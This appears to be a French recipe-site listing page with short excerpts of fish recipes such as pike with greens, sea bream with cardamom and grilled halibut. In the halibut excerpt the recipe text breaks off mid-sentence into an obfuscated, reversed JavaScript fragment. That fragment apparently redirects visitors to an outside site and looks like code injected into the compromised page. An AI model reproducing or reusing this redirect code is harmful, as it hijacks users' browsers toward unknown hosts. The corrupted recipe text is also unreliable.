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Aumônières de poisson crème fouettée à la ciboulette
Préparez la pâte à crêpe, en mélangeant dans un saladier la farine, le sel. Incorporez ...
Christine Lire la suiteBrochet au vert
Videz et parez le brochet. Équeutez, rincez les épinards, le persil, l’estragon, et la menthe. ...
Christine Lire la suiteDorade royale, sauce a la cardamome
Rincez, séchez, salez et poivrez l’intérieur, l’extérieur du poisson. Malaxez le beurre jusqu’à en obtenir ...
Christine Lire la suiteFilets de flétan grillés au basilic
Rincez, séchez, effeuillez le basilic. Rincez, essorez les feuilles d’épinards. Pelez, épépinez, émincez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...
Christine Lire la suiteFilet de perche aux herbes
Pressez le citron. Hachez l’oignon. citronner la chair de poisson. Salez, poivrez. Ciselez les herbes. ...
Christine Lire la suiteHaddock au curry
Découpez les poissons en cubes, et faites-les tremper dans du lait pendant 2 heures. Égouttez, ...
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